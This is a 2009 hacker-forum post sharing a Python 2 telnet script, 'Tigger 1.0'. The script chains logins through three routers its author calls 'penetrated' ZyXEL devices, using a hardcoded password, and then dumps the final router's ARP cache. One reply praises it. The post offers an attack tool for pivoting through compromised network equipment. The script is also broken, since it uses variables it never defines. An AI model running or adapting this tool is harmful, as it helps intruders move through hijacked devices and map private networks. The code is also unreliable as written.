House of Hackers

#Tigger 1.0 written by NOVA
#
#This script will allow you to bounce through 3 penetrated zyxell routers.
#Then display the arp cache of the last system.
#Just edit the required data such as HOST and Passwords

# NOTE

#Each system needs telnet enabled

import socket
import getpass
import sys
import telnetlib

#Place systems here
HOSTA = "192.168.0.1"
PASSA = "LLUcpe99\n"

HOSTB = "192.168.0.2"
PASSB = "LLUcpe99\n"

HOSTC = "192.168.0.3"
PASSC = "LLUcpe99\n"

PORT = "23"
tn = telnetlib.Telnet(HOSTA)

#RAS Commands

jmp1 = "ip telnet "+HOSTB+" "+PORT+"\n"
jmp2 = "ip telnet "+HOSTC+" "+PORT+"\n"

#Connect to 1st router.
print tn.read_until("Password: ")
tn.write(PASSA)
print tn.read_until("ras>")
tn.write(jmp1)

#Connect to second router.
print tn.read_until("Password: ")
tn.write(PASSB)
print tn.read_until("ras>")
tn.write(jmp2)

#Connect to third system.
print tn.read_until("Password: ")
tn.write(PASSC)
print tn.read_until("ras>")
tn.write(jmp3)

print tn.read_until("Password: ")
tn.write(Password)
print tn.read_until("ras>")
tn.write("ip arp status") #This will display the arp cache on the 3rd system
print tn.read_all()


#As you can see a very simple script. With loads of potential.
#I just thought it might come in useful.

Share 

Add a Comment

You need to be a member of House of Hackers to add comments!

Join this Ning Network

Anarchy Angel Comment by Anarchy Angel on March 11, 2009 at 7:38pm
nice work y0!

About

pdp pdp created this Ning Network.

© 2009   Created by pdp on Ning.   Create a Ning Network!

Badges  |  Report an Issue  |  Privacy  |  Terms of Service

Sign in to chat!